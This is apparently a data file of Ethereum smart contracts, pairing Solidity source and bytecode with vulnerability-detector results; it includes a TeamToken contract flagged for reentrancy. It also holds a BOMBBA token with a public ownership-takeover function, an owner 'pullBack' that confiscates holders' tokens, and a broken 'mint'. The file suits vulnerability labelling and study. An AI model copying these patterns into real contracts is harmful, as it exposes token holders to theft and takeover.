025913960400191505060405180910390fd5b6000831415611972577f60633057fb2c2558942a126acc1dc7c639b6fdee660a0171f7500e2ac5918b2e6003546040518082815260200191505060405180910390a16003549050611a51565b60011515821515141561199f5761199483600354611e4a90919063ffffffff16565b6003819055506119bb565b6119b483600354611d3b90919063ffffffff16565b6003819055505b6000196fffffffffffffffffffffffffffffffff1660035411156119f5576000196fffffffffffffffffffffffffffffffff166003819055505b611a0c600354600654611cac90919063ffffffff16565b6007819055507f60633057fb2c2558942a126acc1dc7c639b6fdee660a0171f7500e2ac5918b2e6003546040518082815260200191505060405180910390a160035490505b92915050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ba1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616e206f6e6c79206265206578656375746564206279206f776e65722e000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c44576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f307830302061646472657373206e6f7420616c6c6f7765642e0000000000000081525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000808211611d23576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b6000828481611d2e57fe5b0490508091505092915050565b600082821115611db3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b600080831415611dd75760009050611e44565b6000828402905082848281611de857fe5b0414611e3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611f1e6021913960400191505060405180910390fd5b809150505b92915050565b600080828401905083811015611ec8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe43616e206f6e6c79206265206578656375746564206279207265626173654f7261636c652e4d6f6c6563756c657320636f6e74726163742063616e27742072656365697665204d41524b2e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122083aa968bece01e9e664a042bfdc067ca789bd72ed6fb18a15be667a007c7fca964736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,727
0xfdb5e362030992e3e285ad251908cbcc4fedd80e
pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title StandardToken @ @dev Standard ERC20 token */ contract StandardToken { using SafeMath for uint256; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => uint256) internal balances_; mapping(address => mapping(address => uint256)) internal allowed_; uint256 internal totalSupply_; string public name; string public symbol; uint8 public decimals; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances_[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed_ to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed_[_owner][_spender]; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances_[msg.sender]); balances_[msg.sender] = balances_[msg.sender].sub(_value); balances_[_to] = balances_[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances_[_from]); require(_value <= allowed_[_from][msg.sender]); balances_[_from] = balances_[_from].sub(_value); balances_[_to] = balances_[_to].add(_value); allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed_[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } } /** * @title TeamToken @ @dev The team token. One token represents a team. TeamToken is also a ERC20 standard token. */ contract TeamToken is StandardToken, Ownable { event Buy(address indexed token, address indexed from, uint256 value, uint256 weiValue); event Sell(address indexed token, address indexed from, uint256 value, uint256 weiValue); event BeginGame(address indexed team1, address indexed team2, uint64 gameTime); event EndGame(address indexed team1, address indexed team2, uint8 gameResult); event ChangeStatus(address indexed team, uint8 status); /** * @dev Token price based on ETH */ uint256 public price; /** * @dev status=0 buyable & sellable, user can buy or sell the token. * status=1 not buyable & not sellable, user cannot buy or sell the token. */ uint8 public status; /** * @dev The game start time. gameTime=0 means game time is not enabled or not started. */ uint64 public gameTime; /** * @dev The fee owner. The fee will send to this address. */ address public feeOwner; /** * @dev Game opponent, gameOpponent is also a TeamToken. */ address public gameOpponent; /** * @dev Team name and team symbol will be ERC20 token name and symbol. Token decimals will be 3. * Token total supply will be 0. The initial price will be 1 szabo (1000000000000 Wei) */ function TeamToken(string _teamName, string _teamSymbol, address _feeOwner) public { name = _teamName; symbol = _teamSymbol; decimals = 3; totalSupply_ = 0; price = 1 szabo; feeOwner = _feeOwner; owner = msg.sender; } /** * @dev Sell Or Transfer the token. * * Override ERC20 transfer token function. If the _to address is not this TeamToken, * then call the super transfer function, which will be ERC20 token transfer. * Otherwise, the user want to sell the token (TeamToken -> ETH). * @param _to address The address which you want to transfer/sell to * @param _value uint256 the amount of tokens to be transferred/sold */ function transfer(address _to, uint256 _value) public returns (bool) { if (_to != address(this)) { return super.transfer(_to, _value); } require(_value <= balances_[msg.sender] && status == 0); // If gameTime is enabled (larger than 1514764800 (2018-01-01)) if (gameTime > 1514764800) { // We will not allowed to sell after 5 minutes (300 seconds) before game start require(gameTime - 300 > block.timestamp); } balances_[msg.sender] = balances_[msg.sender].sub(_value); totalSupply_ = totalSupply_.sub(_value); uint256 weiAmount = price.mul(_value); msg.sender.transfer(weiAmount); emit Sell(address(this), msg.sender, _value, weiAmount); return true; } /** * @dev Buy token using ETH * User send ETH to this TeamToken, then his token balance will be increased based on price. * The total supply will also be increased. */ function() payable public { require(status == 0 && price > 0); // If gameTime is enabled (larger than 1514764800 (2018-01-01)) if (gameTime > 1514764800) { // We will not allowed to sell after 5 minutes (300 seconds) before game start require(gameTime - 300 > block.timestamp); } uint256 amount = msg.value.div(price); balances_[msg.sender] = balances_[msg.sender].add(amount); totalSupply_ = totalSupply_.add(amount); emit Buy(address(this), msg.sender, amount, msg.value); } /** * @dev The the game status. * * status = 0 buyable & sellable, user can buy or sell the token. * status=1 not buyable & not sellable, user cannot buy or sell the token. * @param _status The game status. */ function changeStatus(uint8 _status) onlyOwner public { require(status != _status); status = _status; emit ChangeStatus(address(this), _status); } /** * @dev Finish the game * * If the time is older than one month after 2017-18 UEFA Champions league (2018-05-26 19:45:00 UTC) * The owner has permission to transfer the balance to the feeOwner. * The user can get back the balance using the website after this time. */ function finish() onlyOwner public { // 2018-06-25 18:45:00 UTC require(block.timestamp >= 1529952300); feeOwner.transfer(address(this).balance); } /** * @dev Start the game * * Start a new game. Initialize game opponent, game time and status. * @param _gameOpponent The game opponent contract address * @param _gameTime The game begin time. optional */ function beginGame(address _gameOpponent, uint64 _gameTime) onlyOwner public { require(_gameOpponent != address(0) && _gameOpponent != address(this) && gameOpponent == address(0)); // 1514764800 = 2018-01-01 // 1546300800 = 2019-01-01 require(_gameTime == 0 || (_gameTime > 1514764800 && _gameTime < 1546300800)); gameOpponent = _gameOpponent; gameTime = _gameTime; status = 0; emit BeginGame(address(this), _gameOpponent, _gameTime); } /** * @dev End the game with game final result. * * The function only allow to be called with the lose team or the draw team with large balance. * We have this rule because the lose team or draw team will large balance need transfer balance to opposite side. * This function will also change status of opposite team by calling transferFundAndEndGame function. * So the function only need to be called one time for the home and away team. * The new price will be recalculated based on the new balance and total supply. * * Balance transfer rule: * 1. The rose team will transfer all balance to opposite side. * 2. If the game is draw, the balances of two team will go fifty-fifty. * 3. If game is canceled, the balance is not touched and the game states will be reset to initial states. * 4. The fee will be 5% of each transfer amount. * @param _gameOpponent The game opponent contract address * @param _gameResult game result. 1=lose, 2=draw, 3=cancel, 4=win (not allow) */ function endGame(address _gameOpponent, uint8 _gameResult) onlyOwner public { require(gameOpponent != address(0) && gameOpponent == _gameOpponent); uint256 amount = address(this).balance; uint256 opAmount = gameOpponent.balance; require(_gameResult == 1 || (_gameResult == 2 && amount >= opAmount) || _gameResult == 3); TeamToken op = TeamToken(gameOpponent); if (_gameResult == 1) { // Lose if (amount > 0 && totalSupply_ > 0) { uint256 lostAmount = amount; // If opponent has supply if (op.totalSupply() > 0) { // fee is 5% uint256 feeAmount = lostAmount.div(20); lostAmount = lostAmount.sub(feeAmount); feeOwner.transfer(feeAmount); op.transferFundAndEndGame.value(lostAmount)(); } else { // If opponent has not supply, then send the lose money to fee owner. feeOwner.transfer(lostAmount); op.transferFundAndEndGame(); } } else { op.transferFundAndEndGame(); } } else if (_gameResult == 2) { // Draw if (amount > opAmount) { lostAmount = amount.sub(opAmount).div(2); if (op.totalSupply() > 0) { // fee is 5% feeAmount = lostAmount.div(20); lostAmount = lostAmount.sub(feeAmount); op = TeamToken(gameOpponent); feeOwner.transfer(feeAmount); op.transferFundAndEndGame.value(lostAmount)(); } else { feeOwner.transfer(lostAmount); op.transferFundAndEndGame(); } } else if (amount == opAmount) { op.transferFundAndEndGame(); } else { // should not happen revert(); } } else if (_gameResult == 3) { //canceled op.transferFundAndEndGame(); } else { // should not happen revert(); } endGameInternal(); if (totalSupply_ > 0) { price = address(this).balance.div(totalSupply_); } emit EndGame(address(this), _gameOpponent, _gameResult); } /** * @dev Reset team token states * */ function endGameInternal() private { gameOpponent = address(0); gameTime = 0; status = 0; } /** * @dev Reset team states and recalculate the price. * * This function will be called by opponent team token after end game. * It accepts the ETH transfer and recalculate the new price based on * new balance and total supply. */ function transferFundAndEndGame() payable public { require(gameOpponent != address(0) && gameOpponent == msg.sender); if (msg.value > 0 && totalSupply_ > 0) { price = address(this).balance.div(totalSupply_); } endGameInternal(); } }
0x6080604052600436106101025763ffffffff60e060020a600035041662203116811461022657806306fdde031461024f578063095ea7b3146102d957806318160ddd14610311578063200d2ed21461033857806323b872dd14610363578063313ce5671461038d57806370a08231146103a25780638da5cb5b146103c357806395bc9538146103f457806395d89b411461040f57806397b817c914610424578063a035b1fe14610452578063a5d1c0c014610467578063a9059cbb14610499578063b9818be1146104bd578063c8a5e6d7146104d2578063d56b2889146104da578063dd62ed3e146104ef578063f2fde38b14610516578063fef8383e14610537575b60075460009060ff1615801561011a57506000600654115b151561012557600080fd5b600754635a497a0061010090910467ffffffffffffffff161115610169576007544261010090910467ffffffffffffffff90811661012b1901161161016957600080fd5b60065461017d90349063ffffffff61054c16565b600160a060020a0333166000908152602081905260409020549091506101a9908263ffffffff61056116565b600160a060020a0333166000908152602081905260409020556002546101d5908263ffffffff61056116565b600255604080518281523460208201528151600160a060020a033381169330909116927f89f5adc174562e07c9c9b1cae7109bbecb21cf9d1b2847e550042b8653c54a0e929081900390910190a350005b34801561023257600080fd5b5061024d600160a060020a036004351660ff6024351661057b565b005b34801561025b57600080fd5b50610264610ac9565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029e578181015183820152602001610286565b50505050905090810190601f1680156102cb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102e557600080fd5b506102fd600160a060020a0360043516602435610b57565b604080519115158252519081900360200190f35b34801561031d57600080fd5b50610326610bc1565b60408051918252519081900360200190f35b34801561034457600080fd5b5061034d610bc7565b6040805160ff9092168252519081900360200190f35b34801561036f57600080fd5b506102fd600160a060020a0360043581169060243516604435610bd0565b34801561039957600080fd5b5061034d610d50565b3480156103ae57600080fd5b50610326600160a060020a0360043516610d59565b3480156103cf57600080fd5b506103d8610d74565b60408051600160a060020a039092168252519081900360200190f35b34801561040057600080fd5b5061024d60ff60043516610d88565b34801561041b57600080fd5b50610264610e11565b34801561043057600080fd5b5061024d600160a060020a036004351667ffffffffffffffff60243516610e6c565b34801561045e57600080fd5b50610326610fb1565b34801561047357600080fd5b5061047c610fb7565b6040805167ffffffffffffffff9092168252519081900360200190f35b3480156104a557600080fd5b506102fd600160a060020a0360043516602435610fcc565b3480156104c957600080fd5b506103d8611177565b61024d611193565b3480156104e657600080fd5b5061024d611209565b3480156104fb57600080fd5b50610326600160a060020a0360043581169060243516611285565b34801561052257600080fd5b5061024d600160a060020a03600435166112b0565b34801561054357600080fd5b506103d8611359565b6000818381151561055957fe5b049392505050565b60008282018381101561057057fe5b8091505b5092915050565b600554600090819081908190819033600160a060020a0390811661010090920416146105a657600080fd5b600854600160a060020a0316158015906105cd5750600854600160a060020a038881169116145b15156105d857600080fd5b600854600160a060020a033081163196501631935060ff86166001148061060d57508560ff16600214801561060d5750838510155b8061061b57508560ff166003145b151561062657600080fd5b600854600160a060020a0316925060ff8616600114156108935760008511801561065257506000600254115b1561083757849150600083600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561069a57600080fd5b505af11580156106ae573d6000803e3d6000fd5b505050506040513d60208110156106c457600080fd5b50511115610794576106dd82601463ffffffff61054c16565b90506106ef828263ffffffff61136816565b60075460405191935069010000000000000000009004600160a060020a0316906108fc8315029083906000818181858888f19350505050158015610737573d6000803e3d6000fd5b5082600160a060020a031663c8a5e6d7836040518263ffffffff1660e060020a0281526004016000604051808303818588803b15801561077657600080fd5b505af115801561078a573d6000803e3d6000fd5b5050505050610832565b6007546040516901000000000000000000909104600160a060020a0316906108fc8415029084906000818181858888f193505050501580156107da573d6000803e3d6000fd5b5082600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561081957600080fd5b505af115801561082d573d6000803e3d6000fd5b505050505b61088e565b82600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561087557600080fd5b505af1158015610889573d6000803e3d6000fd5b505050505b610a44565b8560ff16600214156109fa57838511156109af576108c860026108bc878763ffffffff61136816565b9063ffffffff61054c16565b9150600083600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561090a57600080fd5b505af115801561091e573d6000803e3d6000fd5b505050506040513d602081101561093457600080fd5b505111156107945761094d82601463ffffffff61054c16565b905061095f828263ffffffff61136816565b600854600754604051600160a060020a03928316965092945069010000000000000000009004169082156108fc029083906000818181858888f19350505050158015610737573d6000803e3d6000fd5b838514156109f55782600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561081957600080fd5b600080fd5b8560ff16600314156109f55782600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561087557600080fd5b610a4c61137a565b60006002541115610a7957600254610a7590600160a060020a033016319063ffffffff61054c16565b6006555b6040805160ff881681529051600160a060020a03808a169230909116917fca877aac494c1a237a54e53d1cf34403a485633cd56280f38c182df72936526f9181900360200190a350505050505050565b6003805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610b4f5780601f10610b2457610100808354040283529160200191610b4f565b820191906000526020600020905b815481529060010190602001808311610b3257829003601f168201915b505050505081565b600160a060020a03338116600081815260016020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b60075460ff1681565b6000600160a060020a0383161515610be757600080fd5b600160a060020a038416600090815260208190526040902054821115610c0c57600080fd5b600160a060020a0380851660009081526001602090815260408083203390941683529290522054821115610c3f57600080fd5b600160a060020a038416600090815260208190526040902054610c68908363ffffffff61136816565b600160a060020a038086166000908152602081905260408082209390935590851681522054610c9d908363ffffffff61056116565b600160a060020a0380851660009081526020818152604080832094909455878316825260018152838220339093168252919091522054610ce3908363ffffffff61136816565b600160a060020a038086166000818152600160209081526040808320338616845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60055460ff1681565b600160a060020a031660009081526020819052604090205490565b6005546101009004600160a060020a031681565b60055433600160a060020a039081166101009092041614610da857600080fd5b60075460ff82811691161415610dbd57600080fd5b6007805460ff831660ff1990911681179091556040805191825251600160a060020a033016917fb82ce22096c6500c582b45cfbf153014e62fd0cbcccaf9a68dc6bfbd53d875d3919081900360200190a250565b6004805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610b4f5780601f10610b2457610100808354040283529160200191610b4f565b60055433600160a060020a039081166101009092041614610e8c57600080fd5b600160a060020a03821615801590610eb6575030600160a060020a031682600160a060020a031614155b8015610ecb5750600854600160a060020a0316155b1515610ed657600080fd5b67ffffffffffffffff81161580610f125750635a497a008167ffffffffffffffff16118015610f125750635c2aad808167ffffffffffffffff16105b1515610f1d57600080fd5b6008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038481169182179092556007805468ffffffffffffffff00191661010067ffffffffffffffff86169081029190911760ff1916909155604080519182525191923016917f1892465d280bc871343cfbf3c63bbbc2bee69afc8d669e83d7e94e54d74c8933916020908290030190a35050565b60065481565b600754610100900467ffffffffffffffff1681565b60008030600160a060020a031684600160a060020a0316141515610ffb57610ff484846113ab565b9150610574565b600160a060020a0333166000908152602081905260409020548311801590611026575060075460ff16155b151561103157600080fd5b600754635a497a0061010090910467ffffffffffffffff161115611075576007544261010090910467ffffffffffffffff90811661012b1901161161107557600080fd5b600160a060020a03331660009081526020819052604090205461109e908463ffffffff61136816565b600160a060020a0333166000908152602081905260409020556002546110ca908463ffffffff61136816565b6002556006546110e0908463ffffffff6114a416565b604051909150600160a060020a0333169082156108fc029083906000818181858888f19350505050158015611119573d6000803e3d6000fd5b5033600160a060020a031630600160a060020a03167fa082022e93cfcd9f1da5f9236718053910f7e840da080c789c7845698dc032ff8584604051808381526020018281526020019250505060405180910390a35060019392505050565b60075469010000000000000000009004600160a060020a031681565b600854600160a060020a0316158015906111bb575060085433600160a060020a039081169116145b15156111c657600080fd5b6000341180156111d857506000600254115b156111ff576002546111fb90600160a060020a033016319063ffffffff61054c16565b6006555b61120761137a565b565b60055433600160a060020a03908116610100909204161461122957600080fd5b635b31382c42101561123a57600080fd5b600754604051600160a060020a03690100000000000000000090920482169130163180156108fc02916000818181858888f19350505050158015611282573d6000803e3d6000fd5b50565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b60055433600160a060020a0390811661010090920416146112d057600080fd5b600160a060020a03811615156112e557600080fd5b600554604051600160a060020a0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360058054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600854600160a060020a031681565b60008282111561137457fe5b50900390565b6008805473ffffffffffffffffffffffffffffffffffffffff191690556007805468ffffffffffffffffff19169055565b6000600160a060020a03831615156113c257600080fd5b600160a060020a0333166000908152602081905260409020548211156113e757600080fd5b600160a060020a033316600090815260208190526040902054611410908363ffffffff61136816565b600160a060020a033381166000908152602081905260408082209390935590851681522054611445908363ffffffff61056116565b600160a060020a03808516600081815260208181526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600192915050565b6000808315156114b75760009150610574565b508282028284828115156114c757fe5b041461057057fe00a165627a7a72305820a3af14e79a464cdca6a6506814a6ced90cbe1eeb254f16c77f1bdec3a48f8c780029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
10,728
0x5ABC07D28DCC3B60a164d57e4E3981a090c5d6De
/** * Investors relations: dodododo **/ pragma solidity ^0.4.18; /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Standard * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } interface OldXRPCToken { function transfer(address receiver, uint amount) external; function balanceOf(address _owner) external returns (uint256 balance); function mint(address wallet, address buyer, uint256 tokenAmount) external; function showMyTokenBalance(address addr) external; } contract BOMBBA is ERC20Interface,Ownable { using SafeMath for uint256; uint256 public totalSupply; mapping(address => uint256) tokenBalances; string public constant name = "BOMBBA"; string public constant symbol = "BOMB"; uint256 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 10000000; address ownerWallet; // Owner of account approves the transfer of an amount to another account mapping (address => mapping (address => uint256)) allowed; event Debug(string message, address addr, uint256 number); function quaker(address wallet) public { owner = msg.sender; ownerWallet=wallet; totalSupply = INITIAL_SUPPLY * 10 ** 18; tokenBalances[wallet] = INITIAL_SUPPLY * 10 ** 18; //Since we divided the token into 10^18 parts } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(tokenBalances[msg.sender]>=_value); tokenBalances[msg.sender] = tokenBalances[msg.sender].sub(_value); tokenBalances[_to] = tokenBalances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= tokenBalances[_from]); require(_value <= allowed[_from][msg.sender]); tokenBalances[_from] = tokenBalances[_from].sub(_value); tokenBalances[_to] = tokenBalances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totalSupply - tokenBalances[address(0)]; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender&#39;s account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // ------------------------------------------------------------------------ // Don&#39;t accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant public returns (uint256 balance) { return tokenBalances[_owner]; } function mint(address wallet, address buyer, uint256 tokenAmount) public onlyOwner { require(tokenBalances[wallet] >= tokenAmount); // checks if it has enough to sell tokenBalances[buyer] = tokenBalances[buyer].add(tokenAmount); // adds the amount to buyer&#39;s balance tokenBalances[wallet] = tokenBalances[wallet].add(tokenAmount); // subtracts amount from seller&#39;s balance Transfer(wallet, buyer, tokenAmount); totalSupply=totalSupply.sub(tokenAmount); } function pullBack(address wallet, address buyer, uint256 tokenAmount) public onlyOwner { require(tokenBalances[buyer]>=tokenAmount); tokenBalances[buyer] = tokenBalances[buyer].sub(tokenAmount); tokenBalances[wallet] = tokenBalances[wallet].add(tokenAmount); Transfer(buyer, wallet, tokenAmount); totalSupply=totalSupply.add(tokenAmount); } function showMyTokenBalance(address addr) public view returns (uint tokenBalance) { tokenBalance = tokenBalances[addr]; } }
